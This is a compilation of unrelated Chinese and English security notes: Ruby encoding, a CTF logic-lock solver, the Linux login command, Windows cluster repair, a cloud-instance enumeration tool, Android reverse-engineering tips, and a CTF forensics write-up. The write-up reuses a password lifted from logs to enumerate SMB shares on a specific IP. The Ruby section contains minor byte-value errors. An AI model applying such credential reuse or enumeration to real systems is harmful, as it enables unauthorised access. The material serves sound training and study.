程序代码的编码会严格检查是否与脚本编码一致。因此,有时候直接写上日语的字符串后就会产生错误。
```ruby
# encoding: US-ASCII
a = 'こんにちは' #=> invalid multibyte char (US-ASCII)
```
由于 US-ASCII 不能表示日语的字符串,因此会产生错误。在 Ruby1.9 中,没有魔法注释时默认脚本编码也为 US-ASCII,因此也会产生这个错误。
为了使日语或中文字符能正常显示,必须指定适当的编码。而在 Ruby2.0 中,由于没有魔法注释时的默认脚本编码为 UTF-8,因此如果代码是以 UTF-8 编码编写的话,那么就无须使用魔法注释了。
但有时仅使用魔法注释是不够的。例如,使用特殊字符 `\u` 创建字符串后,即使脚本编码不是 UTF-8,其生成的字符串也一定是 UTF-8。
```ruby
# encoding: EUC-JP
a = "\u3042\u3044"
puts a #=> "あい"
p a.encoding #=> #<Encoding:UTF-8>
```
因此,必须使用 `encode!` 方法明确进行编码转换。
```ruby
# encoding: EUC-JP
a = "\u3042\u3044"
a.encode!("EUC-JP")
p a.encoding #=> #<Encoding:EUC-JP>
```
这样,变量 `a` 的字符串的编码也就变为 EUC-JP 了。
# Encoding 类
我们可以用 `String.encoding` 方法来调查字符串的编码。`String.encoding` 方法返回 `Encoding` 对象。
```ruby
p "こんにちは".encoding #=> #<Encoding:UTF-8>
```
本例中的“こんにちは”字符串对象的编码为 UTF-8。
> 日语 Windows 环境中的字符编码一般为 Windows-31J。这是 Windows 专用的扩展自 Shift_JIS 的编码,例如,Shift_JIS 中原本并没有①。Windows-31J 还有一个别名叫 CP932(Microsoft code page932 的意思),在互联网上就字符编码讨论时,有时候会用到这个名称。
在脚本中使用不同的编码时,需要进行必要的转换。我们可以用 `String.encode` 方法转换字符串对象的编码。
```ruby
str = "こんにちは"
p str.encoding #=> #<Encoding:UTF-8>
str2 = str.encode("EUC-JP")
p str2.encoding #=> #<Encoding:EUC-JP>
```
在本例中,我们尝试把 UTF-8 字符串对象转换为新的 EUC-JP 字符串对象。
在操作字符串时,Ruby 会自动进行检查。例如,如果要连接不同编码的字符串则会产生错误。
```ruby
# encoding: utf-8
str1 = "こんにちは"
p str1.encoding #=> #<Encoding:UTF-8>
str2 = "あいうえお".encode("EUC-JP")
p str2.encoding #=> #<Encoding:EUC-JP>
str3 = str1 + str2 #=> incompatible character encodings: UTF-8
#=> and EUC-JP(Encoding::CompatibilityError)
```
为了防止错误,在连接字符串前,必须使用 `encode` 方法等把两者转换为相同的编码。
还有,在进行字符串比较时,如果编码不一样,即使表面的值相同,程序也会将其判断为不同的字符串。
```ruby
# encoding: utf-8
p "あ" == "あ".encode("Shift_JIS") #=> false
```
另外,在本例中,用 `String.encode` 指定编码时,除了可以使用编码名的字符串外,还可以直接使用 `Encoding` 对象来指定。
**Encoding 类的方法**
接下来,我们将会介绍 `Encoding` 类的方法。
- `Encoding.compatible?(str1, str2)`
检查两个字符串的兼容性。这里所说的兼容性是指两个字符串是否可以连接。可兼容则返回字符串连接后的编码,不可兼容则返回 `nil`。
```ruby
p Encoding.compatible?("AB".encode("EUC-JP"),
"あ".encode("UTF-8")) #=> #<Encoding:UTF-8>
p Encoding.compatible?("あ".encode("EUC-JP"),
"あ".encode("UTF-8")) #=> nil
```
AB 这个字符串的编码无论是 EUC-JP 还是 UTF-8 都是一样的,因此,将其转换为 EUC-JP 后也可以与 UTF-8 字符串连接;而あ这个字符串则无法连接,因此返回 `nil`。
- `Encoding.default_external`
返回默认的外部编码,这个值会影响 `IO` 类的外部编码。
- `Encoding.default_internal`
返回默认的内部编码,这个值会影响 `IO` 类的内部编码。
- `Encoding.find(name)`
返回编码名 `name` 对应的 `Encoding` 对象。预定义的编码名由不含空格的英文字母、数字与符号构成。查找编码的时候不区分 `name` 的大小写。
```ruby
p Encoding.find("Shift_JIS") # => #<Encoding:Shift_JIS>
p Encoding.find("shift_JIS") # => #<Encoding:Shift_JIS>
```
特殊的编码名
名称 | 意义
- | -
locale | 根据本地信息决定的编码
external | 默认的外部编码
internal | 默认的内部编码
filesystem | 文件系统的编码
- `Encoding.list`
- `Encoding.name_list`
返回 Ruby 支持的编码一览表。`list` 方法返回的是 `Encoding` 对象一览表,`Encoding.name_list` 返回的是表示编码名的字符串一览表,两者的结果都以数组形式返回。
```ruby
p Encoding.list
#=> [#<Encoding:ASCII-8BIT>, #<Encoding:UTF-8>, ...
p Encoding.name_list
#=> ["ASCII-8BIT", "UTF-8", "US-ASCII", "Big5", ...
```
- `enc.name`
返回 `Encoding` 对象 `enc` 的编码名。
```ruby
p Encoding.find("shift_jis").name #=> "Shift_JIS"
```
- `enc.names`
像 EUC-JP、eucJP 这样,有些编码有多个名称。这个方法会返回包含 `Encoding` 对象的名称一览表的数组。只要是这个方法中的编码名称,都可以在通过 `Encoding.find` 方法检索时使用。
```ruby
enc = Encoding.find("Shift_JIS")
p enc.names #=> ["Shift_JIS", "SJIS"]
```
**ASCII-8BIT 与字节串**
ASCII-8BIT 是一个特殊的编码,被用于表示二进制数据以及字节串。因此有时候我们也称这个编码为 BINARY。
此外,把字符串对象用字节串形式保存的时候也会用到这个编码。例如,使用 `Array.pack` 方法将二进制数据生成为字符串时,或者使用 `Marsha1.dump` 方法将对象序列化后的数据生成为字符串时,都会使用该编码。
下面是用 `Array.pack` 方法,把 IP 地址的 4 个数值转换为 4 个字节的字节串。
```ruby
str = [127, 0, 0, 1].pack("C4")
p str #=> "\x7F\x00\x00\x01"
p str.encoding # => #<Encoding:ASCII-8BIT>
```
`pack` 方法的参数为字节串化时使用的模式,C4 表示 4 个 8 位的不带符号的整数。执行结果为 4 个字节的字节串,编码为 ASCII-8BIT。
此外,在使用 `open-uri` 库等工具通过网络获取文件时,有时候并不知道字符编码是什么。这时候的编码也默认使用 ASCII-8BIT。
```ruby
# encoding: utf-8
require 'open-uri'
str = open("http://www.example.jp/").read
p str.encoding #=> #<Encoding:ASCII-8BIT>
```
即使是编码为 ASCII-8BIT 的字符串,实际上也还是正常的字符串,只要知道字符编码,就可以使用 `force_encoding` 方法。这个方法并不会改变字符串的值(二进制数据),而只是改变编码信息。
```ruby
# encoding: utf-8
require 'open-uri'
str = open("http://www.example.jp/").read
str.force_encoding("Windows-31J")
p str.encoding #=> #<Encoding:Windows-31J>
```
这样一来,我们就可以把 ASCII-8BIT 的字符串当作 Windows-31J 字符串来处理了。
使用 `force_encoding` 方法时,即使指定了不正确的编码,也不会马上产生错误,而是在对该字符串进行操作的时候才会产生错误。检查编码是否正确,可以用 `valid_encoding?` 方法,不正确时则返回 `false`。
```ruby
str = "こんにちは"
str.force_encoding("US-ASCII") #=> 不会产生错误
str.valid_encoding? #=> false
str + "みなさん" #=> Encoding::CompatibilityError
```
# 正则表达式与编码
与字符串同样,正则表达式也有编码信息。
正则表达式的编码即其匹配字符串的编码。例如,用 EUC-JP 的正则表达式对象去匹配 UTF-8 字符串时就会产生错误,反之亦然。
```ruby
# encoding: EUC-JP
a = "\u3042\u3044"
p /あ/ =~ a #=> incompatible encoding regexp match
#=> (EUC-JP regexp with UTF-8 string)
#=> (Encoding::CompatibilityError)
```
通常情况下,正则表达式字面量的编码与代码的编码是一样的。指定其他编码的时候,可使用 `Regexp` 类的 `new` 方法。在这个方法中,表示模式第 1 个参数的字符串编码,就是该正则表达式的编码。
```ruby
str = "模式".encode("EUC-JP")
re = Regexp.new(str)
p re.encoding # => #<Encoding:EUC-JP>
```
# IO 类与编码
使用 `IO` 类进行输入 / 输出操作时编码也非常重要。接下来,我们就向大家介绍一下 `IO` 与编码的相关内容。
**外部编码与内部编码**
每个 `IO` 对象都包含有外部编码与内部编码两种编码信息。外部编码指的是作为输入 / 输出对象的文件、控制台等的编码,内部编码指的是 Ruby 脚本中的编码。`IO` 对象的编码的相关方法如表所示。
方法名 | 意义
- | -
IO#external_encoding | 返回 IO 的外部编码
IO#internal_encoding | 返回 IO 的内部编码
IO#set_encoding | 设定 IO 的编码
没有明确指定编码时,`IO` 对象的外部编码与内部编码各自使用其默认值 `Encoding.default_external`、`Encoding.default_internal`。默认情况下,外部编码会基于各个系统的本地信息设定,内部编码不设定。Windows 环境下的编码信息如下所示。
```ruby
p Encoding.default_external #=> #<Encoding:Windows-31J>
p Encoding.default_internal #=> nil
File.open("foo.txt") do |f|
p f.external_encoding #=> #<Encoding:Windows-31J>
p f.internal_encoding #=> nil
end
```
**编码的设定**
在刚才的例子中我们打开了文本文件(foo.txt),但 `IO` 对象(File 对象)的编码与文件的实际内容其实是没关系的。因为编码原本就只是用来说明如何处理字符的信息,因此对文本文件以外的文件并没有多大作用。
`IO.seek` 方法与 `IO.read(size)`方法,都不受编码影响,对任何数据都可以进行读写操作。`IO.read(size)`方法读取的字符串的编码为表示二进制数据的 ASCII-8BIT。
设定 `IO` 对象的编码信息,可以通过使用 `IO.set_encoding` 方法,或者在 `File.open` 方法的参数中指定编码来进行。
- `io.set_encoding(encoding)`
`IO.set_encoding` 方法以 " 外部编码名 : 内部编码名 " 的形式指定字符串 `encoding`。把外部编码设置为 Shift_JIS,内部编码设置为 UTF-8 的时候,可以像下面那样设定。
```ruby
$stdin.set_encoding("Shift_JIS:UTF-8")
p $stdin.external_encoding #=> #<Encoding:Shift_JIS>
p $stdin.internal_encoding #=> #<Encoding:UTF-8>
```
- `File.open(file, "mode:encoding")`
为了在打开文件 file 时通过 `File.open` 方法指定编码 `encoding`,可以在第二个参数中指定 mode 的后面用冒号(:)分割,并按顺序指定外部编码以及内部编码(内部编码可省略)。
```ruby
# 指定外部编码为UTF-8
File.open("foo.txt", "w:UTF-8")
# 指定外部编码为Shift_JIS
# 指定内部编码为UTF-8
File.open("foo.txt", "r:Shift_JIS:UTF-8")
```
**编码的作用**
- 输出时编码的作用
外部编码影响 `IO` 的写入(输出)。在输出的时候,会基于每个字符串的原有编码和 `IO` 对象的外部编码进行编码的转换(因此输出用的 `IO` 对象不需要指定内部编码)。
如果没有设置外部编码,或者字符串的编码与外部编码一致,则不会进行编码的转换。在需要进行转换的时候,如果输出的字符串的编码不正确(比如实际上是日语字符串,但编码却是中文),或者是无法互相转换的编码组合(例如用于日语与中文的编码),这时程序就会抛出异常。
- 输入时编码的作用
`IO` 的读取(输入)会稍微复杂一点。首先,如果外部编码没有设置,则会使用 `Encoding.default_external` 的值作为外部编码。
设定了外部编码,但内部编码没设定的时候,则会将读取的字符串的编码设置为 `IO` 对象的外部编码。这种情况下并不会进行编码的转换,而是将文件、控制台输入的数据原封不动地保存为 `String` 对象。
最后,外部编码和内部编码都设定的时候,则会执行由外部编码转换为内部编码的处理。输入与输出的情况一样,在编码转换的过程中如果数据格式或者编码组合不正确,程序都会抛出异常。
大家或许会感觉有点复杂,其实只要使用的环境与实际使用的数据的编码一致,我们就不需要考虑编码的转换。另外一方面,如果执行环境与数据的编码不一致,那么我们就需要在程序里有意识地处理编码问题。
**UTF8-MAC 编码**
在 Mac OS X 中,文件名中如果使用了浊点或者半浊点字符,有时候就会产生一些奇怪的现象。
例如,创建文件 `ルビー.txt` 并执行下面的程序,可以发现,预计执行结果应该为 `found.`,但实际结果却是 `not found.`。
```ruby
# encoding: utf-8
Dir.glob("*.txt") do |filename|
if filename == "ルビー.txt"
puts "found."; exit
end
end
puts "not found."
```
执行示例
```
> touch ルビー.txt
> ruby utf8mac.rb
not found.
```
另一方面,执行以下脚本,这次会输出 `found.`。
```ruby
# encoding: utf-8
Dir.glob("*.txt") do |filename|
if filename.encode("UTF8-MAC") == "ルビー.txt".encode("UTF8-MAC")
puts "found."; exit
end
end
puts "not found."
```
执行示例
```
> touch ルビー.txt
> ruby utf8mac_fix.rb
found.
```
这是由于 Mac OS X 中的文件系统使用的编码不是 UTF-8,而是一种名为 UTF8-MAC(或者叫 UTF-8-MAC)的编码的缘故。
那么,UTF8-MAC 是什么样的编码呢。我们通过下面的例子来看一下。
```ruby
# encoding: utf-8
str = "ビ"
puts "size: #{str.size}"
p str.each_byte.map{|b| b.to_s(16)}
puts "size: #{str.encode("UTF8-MAC").size}"
p str.encode("UTF8-MAC").each_byte.map{|b| b.to_s(16)}
```
执行示例
```
> ruby utf8mac_str.rb
size: 1
["e3", "83", "93"]
size: 2
["e3", "83", "92", "e3", "82", "99"]
```
本例表示的是在 UTF-8 和 UTF8-MAC 这两种编码方式的情况下,分别以 16 进制的形式输出字符串 " ビ " 的长度以及各个字节的值。从结果中我们可以看出,UTF-8 时的值为“`ec,83,93`”,UTF8-MAC 时则是“`e3,83,92,e3,82,99`”。而转换为 UTF8-MAC 后,字符串的长度也变为了两个字符。
在 UTF8-MAC 中,字符ビ(Unicode 中为 U+30D3)会分解为字符匕(U+30D2)与浊点字符(U+3099)两个字符。用 UTF-8 表示则为 `8392E3` 与 `8299E3` 两个字节串,因此就得到了之前的结果。
像这样,如果把 Mac OS X 的文件系统当作是普通的 UTF-8 看待,往往就会有意料之外的事情发生。在操作日语文件、目录时务必注意这个问题 。
|
sec-knowleage
|
# Moscow - Apartment
Category: Misc.
## Description
> It’s a cold day, and the snow is falling horizontally. It pierces your sight. You better use those extra pairs of socks that you were strangely given by the driver. Someone is waving on the other side of the street. You walk over to her. "Hi AGENT, I’m AGENT X, we’ve found the apartment of a person that we suspect got something to do with the mission. Come along!."
>
> Challenge: Logic Lock (misc)
>
> It turned out suspect's appartment has an electronic lock. After analyzing the PCB and looking up the chips you come to the conclusion that it's just a set of logic gates!

## Solution
We need to find the input that will produce the expected output of `1`. We'll just implement the circuit in Python and try all possibilities:
```python
import itertools
def AND (a, b):
return a and b
def OR(a, b):
return a or b
def XOR (a, b):
return a ^ b
def NOT(a):
return not a
def NOR(a, b):
return not (a or b)
def circuit(inputs):
return AND(
AND(
NOR(
inputs['A'],
NOT(inputs['B'])
),
NOR(
OR(
NOT(inputs['C']),
inputs['D']
),
OR(
inputs['E'],
NOT(inputs['F'])
)
)
),
AND(
AND(
NOR(
inputs['G'],
inputs['H']
),
XOR(
inputs['H'],
inputs['I']
)
),
AND(
inputs['I'],
inputs['J']
)
)
)
letters = "ABCDEFGHIJ"
for combination in itertools.product([0, 1], repeat = len(letters)):
inputs = {letter: value for letter, value in zip(letters, combination)}
if circuit(inputs) == 1:
print (inputs)
print("CTF{{{}}}".format("".join(sorted(c for c, v in inputs.items() if v == 1))))
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/google/2_Moscow_-_Apartment]
└─$ python3 solve.py
{'A': 0, 'B': 1, 'C': 1, 'D': 0, 'E': 0, 'F': 1, 'G': 0, 'H': 0, 'I': 1, 'J': 1}
CTF{BCFIJ}
```
|
sec-knowleage
|
login
===
登录系统或切换用户身份
## 补充说明
**login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。
### 语法
```shell
login(选项)(参数)
```
### 选项
```shell
-p:告诉login指令不销毁环境变量;
-h:指定远程服务器的主机名。
```
### 参数
用户名:指定登录使用的用户名。
|
sec-knowleage
|
# Windows 故障转移集群
---
**搭建**
这篇百度文库的文档写的相当详细具体,我觉得没有必要重复写一遍,https://wenku.baidu.com/view/4646e1b4866fb84ae45c8dd3.html ,虽然是基于 2008R2,版本有点老,但是还是推荐
**群集节点的删除**
一般情况下,Windows 群集可以在群集管理器中,使用功能菜单的"退出节点"来删除一个群集节点,但有时这个功能是不可用的,这种情况下,如果要从群集中删除一个叫 SecondNode 的节点,使用的命令是:
`cluster node SecondNode /force`
这个命令执行之后,群集管理器中"退出节点"的功能就可以继续使用了.然后就可以删除故障群集功能,重新启动,然后可以再次配置!
未测试的删除方法,建议先使用上面的命令,不行再用这个
```bash
在 2008R2 的 powershell 输入:
import-module failovercluster
clear-node
```
**无法退出节点时**
在正常删除 Cluster 节点之后,再添加节点时,报"节点已经加入群集",无法加入,注册表信息删除后可正常移除 Cluster 服务,删除注册表中这两个后重新启动就可以了
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\ClusDisk`
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\ClusSvc`
|
sec-knowleage
|
---
title: 列出弹性计算服务
---
::: warning 注意
* 为了提高程序运行速度,当获取一次结果后,获取的结果会缓存下来,缓存文件为 `~/.config/cf/cache.db`
* 如果不想使用缓存数据,可以在执行命令的时候加上 `--flushCache` 参数
:::
## 列出阿里云的弹性计算服务
使用以下命令列出 ECS 弹性计算服务
```bash
cf alibaba ecs ls
```
如果想指定区域,可以使用 `-r` 或者 `--region` 参数
```bash
cf alibaba ecs ls -r cn-beijing
```
如果想指定实例,可以使用 `-i` 或者 `--instanceID` 参数
```bash
cf alibaba ecs ls -i i-abcdefghijklmn
```
如果想查看正在运行的实例,可以使用`--running` 参数
```bash
cf alibaba ecs ls --running
```
在 CF 中还集成了阿里云的私有区域,不过在默认情况下是不调用的,如果想遍历阿里云的私有区域,可以使用 `-a` 命令表示遍历所有区域
```bash
cf alibaba ecs ls -a
```
## 列出腾讯云的弹性计算服务
### 云服务器
使用以下命令列出 CVM 云服务器
```bash
cf tencent cvm ls
```
可以使用 `-r` 或者 `--region` 参数指定区域,使用 `-i` 或者 `--instanceID` 参数指定实例 ID,使用`--running` 参数查看正在运行的实例。
### 轻量应用服务器
使用以下命令列出 LightHouse 轻量应用服务器
```bash
cf tencent lh ls
```
可以使用`--running` 参数查看正在运行的实例。
## 列出 AWS 的弹性计算服务
使用以下命令列出 EC2 弹性计算服务
```bash
cf aws ec2 ls
```
如果想指定区域,可以使用 `-r` 或者 `--region` 参数
```bash
cf aws ec2 ls -r us-east-1
```
如果想指定实例,可以使用 `-i` 或者 `--instanceID` 参数
```bash
cf aws ec2 ls -i i-abcdefghijklmn
```
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年12月4日"
}
}
</script>
|
sec-knowleage
|
# Android 关键代码定位
AndroidManifest.xml文件
- 软件包名
- apk主活动,隐藏程序没有主Activity
Application在 java层启动最早,
## 顺序分析
最常见也是最有用的方法就是,我们顺着程序的逻辑依次查看程序的代码来进行分析,但是当程序代码量特别大时候,这一方法的效率就比较低下,需要其他方法来辅助。
## 字符串定位法
所谓字符串定位法就是通过在程序程序运行过程中出现的字符串来定位相应的函数。字符串有可能被直接硬编码在程序中,也有可能通过字符串id来索引。这一方法故去使用比较方便,但现在的话,有可能字符串会被分开或者说首先被加密,在运行的过程中被动态解密。
我们可能关注的字符串可能有
- 程序报错信息
- 服务
- 广播
## 敏感API定位
所谓敏感API定位法,意思就是我们根据程序的执行行为来判断程序可能调用了哪些函数。这一方法需要我们对于Android中的API比较熟悉。一般来说,我们可能会关注以下方面
- 控件的事件函数
- onclick
- show
- Toast
- 网络函数
- HttpGet
- HttpPost
- HttpUriRequest
- socket
- 发送短信
- 打电话
- 定位
- 等等
## log信息
所谓log信息就是Android程序在运行时输出的字符串信息,这部分信息不会在我们的界面上体现,因而我们需要使用其它辅助工具来分析,比如说,我们可以使用ddms来辅助分析。对于log信息来说,我们可以从两个方面考虑
- 利用程序本身产生的log信息
- 自己对代码反编译,插入log信息,并重打包来进行分析。
## 栈跟踪
我们可以用ddms提供的方法调用链的信息来判断程序目前的调用关系如何。
## 钩子
- xposed
- cydia
## monitor
- 运行log,程序运行产生的,系统运行产生的
- 线程跟踪
- 方法调用链
## 动态调试
|
sec-knowleage
|
# Challenge 1
Worked with AvivC, YaakovC.
## Description
After entering the challenge, we arrive to a Kibana dashboard with the following description:
> The windows 10 user at 13.89.33.39 was attacked on February 5th. Find out what happened and help him revert the damage!
## Logs
The dashboard links to a series of 69 event logs which shed some light on the attack. The logs are visible via the Kibana GUI and are available in JSON format as well.
The `message` member usually contained a summary of each event.
We'll use the following script to display it:
```python
import json, argparse
parser = argparse.ArgumentParser(description='JSON Log Viewer')
parser.add_argument('-f', '--file_id', required = True, help = 'JSON file ID')
args = parser.parse_args()
with open("{}.txt".format(args.file_id), 'r') as f:
contents = f.read()
j = json.loads(contents)
print (j["_source"]["message"])
```
Let's take a look at the interesting events.
First, a program called `encrypt.exe` is creating (or encrypting) a file called `classified_document.txt`.
```console
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 6
File created:
RuleName:
UtcTime: 2020-02-05 15:16:21.519
ProcessGuid: {e01e78ba-dc45-5e3a-0000-00105bf4f621}
ProcessId: 13208
Image: C:\Users\user07\Downloads\encrypt.exe
TargetFilename: C:\Users\user07\Downloads\classified_document.txt
CreationUtcTime: 2020-01-20 12:29:02.272
```
It also hides a key in the registry:
```console
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 8
Registry value set:
RuleName: technique_id=T1183,technique_name=Image File Execution Options Injection
EventType: SetValue
UtcTime: 2020-02-05 15:16:21.488
ProcessGuid: {e01e78ba-dc45-5e3a-0000-00105bf4f621}
ProcessId: 13208
Image: C:\Users\user07\Downloads\encrypt.exe
TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\challenge.exe\keyPath
Details: HKEY_USERS\S-1-5-18\Software\Microsoft\CTF\HiddenKey
```
It starts loading many Python crypto modules, e.g.:
```console
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 11
Image loaded:
RuleName: technique_id=T1073,technique_name=DLL Side-Loading
UtcTime: 2020-02-05 15:16:21.410
ProcessGuid: {e01e78ba-dc45-5e3a-0000-00105bf4f621}
ProcessId: 13208
Image: C:\Users\user07\Downloads\encrypt.exe
ImageLoaded: C:\Users\user07\AppData\Local\Temp\_MEI127042\Crypto\Cipher\_raw_aes.pyd
FileVersion: ?
Description: ?
Product: ?
Company: ?
OriginalFileName: ?
Hashes: SHA1=27AB93EEC020628D67A4987FDE001DA3BA5E35B4,MD5=5068682759149260D35E4BD981DA3848,SHA256=B832C6EE6D7E4EC7368035E835941E1E8AD71EFAEA0C8BC0B7B2B1528CE719FC,IMPHASH=62432F35F109091536AFBA636294DBCB
Signed: false
Signature:
SignatureStatus: Unavailable
```
Now, using `PsExec`, a command is issued:
```console
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 62
Process Create:
RuleName: technique_id=T1035,technique_name=Service Execution
UtcTime: 2020-02-05 15:16:19.919
ProcessGuid: {e01e78ba-dc43-5e3a-0000-0010b4aef621}
ProcessId: 14260
Image: C:\PSTools\PsExec64.exe
FileVersion: 2.2
Description: Execute processes remotely
Product: Sysinternals PsExec
Company: Sysinternals - www.sysinternals.com
OriginalFileName: psexec.c
CommandLine: C:\PSTools\PsExec64.exe -h -u user07 -p ClngP@ss C:\Users\user07\Downloads\encrypt.exe
CurrentDirectory: C:\Users\hoshenCtf\
User: PUBLICCTF3\hoshenCtf
LogonGuid: {e01e78ba-f19a-5e25-0000-002092932500}
LogonId: 0x259392
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=FB0A150601470195C47B4E8D87FCB3F50292BEB2,MD5=9321C107D1F7E336CDA550A2BF049108,SHA256=AD6B98C01EE849874E4B4502C3D7853196F6044240D3271E4AB3FC6E3C08E9A4,IMPHASH=159D56D406180A332FBC99290F30700E
ParentProcessGuid: {e01e78ba-d4a9-5e3a-0000-0010eae9d921}
ParentProcessId: 2220
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\windows\system32\cmd.exe"
```
Using this command, we get the following username and password combination: `user07:ClngP@ss`. We also know that there's another user: `hoshenCtf`.
We also see some network activity:
```console
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 65
Network connection detected:
RuleName: technique_id=T1036,technique_name=Masquerading
UtcTime: 2020-02-05 15:16:16.134
ProcessGuid: {e01e78ba-efed-5e25-0000-0010cf320200}
ProcessId: 3344
Image: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe
User: NT AUTHORITY\SYSTEM
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 10.0.0.6
SourceHostname: publicCtf3.p2aj4t3wwgtudfbzkeksupkyig.gx.internal.cloudapp.net
SourcePort: 58670
SourcePortName:
DestinationIsIpv6: false
DestinationIp: 40.121.3.131
DestinationHostname:
DestinationPort: 443
DestinationPortName: https
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 66
Network connection detected:
RuleName:
UtcTime: 2020-02-05 15:16:15.838
ProcessGuid: {e01e78ba-efe0-5e25-0000-0010eb030000}
ProcessId: 4
Image: System
User: NT AUTHORITY\SYSTEM
Protocol: tcp
Initiated: true
SourceIsIpv6: true
SourceIp: fe80:0:0:0:8165:712:b68f:7ccc
SourceHostname: publicCtf3.p2aj4t3wwgtudfbzkeksupkyig.gx.internal.cloudapp.net
SourcePort: 58669
SourcePortName:
DestinationIsIpv6: true
DestinationIp: fe80:0:0:0:8165:712:b68f:7ccc
DestinationHostname: publicCtf3.p2aj4t3wwgtudfbzkeksupkyig.gx.internal.cloudapp.net
DestinationPort: 445
DestinationPortName: microsoft-ds
root@kali:/media/sf_CTFs/hoshen/1/json# python3 view.py -f 67
Network connection detected:
RuleName:
UtcTime: 2020-02-05 15:16:15.838
ProcessGuid: {e01e78ba-efe0-5e25-0000-0010eb030000}
ProcessId: 4
Image: System
User: NT AUTHORITY\SYSTEM
Protocol: tcp
Initiated: false
SourceIsIpv6: true
SourceIp: fe80:0:0:0:8165:712:b68f:7ccc
SourceHostname: publicCtf3.p2aj4t3wwgtudfbzkeksupkyig.gx.internal.cloudapp.net
SourcePort: 58669
SourcePortName:
DestinationIsIpv6: true
DestinationIp: fe80:0:0:0:8165:712:b68f:7ccc
DestinationHostname: publicCtf3.p2aj4t3wwgtudfbzkeksupkyig.gx.internal.cloudapp.net
DestinationPort: 445
DestinationPortName: microsoft-ds
```
This includes access to port 445 ("SMB over IP").
## Samba: 13.89.33.39
Let's take a look at what samba shares are available over the system that was attacked using the credentials we found.
```console
root@kali:/media/sf_CTFs/hoshen/1# smbclient -L 13.89.33.39 -U user07%ClngP@ss
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
D$ Disk Default share
IPC$ IPC Remote IPC
user07 Disk
SMB1 disabled -- no workgroup available
```
Using `smbmap` we can get a few more details:
```console
root@kali:/media/sf_CTFs/hoshen/1# smbmap -H 13.89.33.39 -u user07 -p ClngP@ss
[+] Finding open SMB ports....
[+] User SMB session established on 13.89.33.39...
[+] IP: 13.89.33.39:445 Name: 13.89.33.39
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
D$ NO ACCESS Default share
.
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 InitShutdown
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 lsass
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 ntsvcs
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 scerpc
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-2cc-0
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 epmapper
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-3c4-0
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-23c-0
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 LSM_API_service
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 atsvc
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 eventlog
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-560-0
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-498-0
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 TermSrv_API_service
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 Ctx_WinStation_API_service
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 wkssvc
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 SessEnvPublicRpc
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-994-0
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 spoolss
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-bc8-0
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 trkwks
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 W32TIME_ALT
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 srvsvc
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 Winsock2\CatalogChangeListener-2ac-0
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
fr--r--r-- 3 Mon Jan 1 02:20:54 1601 browser
fr--r--r-- 10 Mon Jan 1 02:20:54 1601 MsFteWds
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 SearchTextHarvester
fr--r--r-- 1 Mon Jan 1 02:20:54 1601 AppContracts_xF9E1217A-501D-40BA-B3BE-E70F728FC295y
fr--r--r-- 4 Mon Jan 1 02:20:54 1601 winreg
IPC$ READ ONLY Remote IPC
.
dr--r--r-- 0 Thu Feb 6 21:50:09 2020 .
dr--r--r-- 0 Thu Feb 6 21:50:09 2020 ..
dr--r--r-- 0 Thu Feb 6 23:36:52 2020 .idlerc
dr--r--r-- 0 Wed Jan 15 14:58:31 2020 3D Objects
dr--r--r-- 0 Tue Jan 14 11:31:44 2020 AppData
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 Application Data
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Contacts
dr--r--r-- 0 Tue Jan 14 11:31:43 2020 Cookies
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Desktop
dr--r--r-- 0 Wed Jan 15 14:58:36 2020 Documents
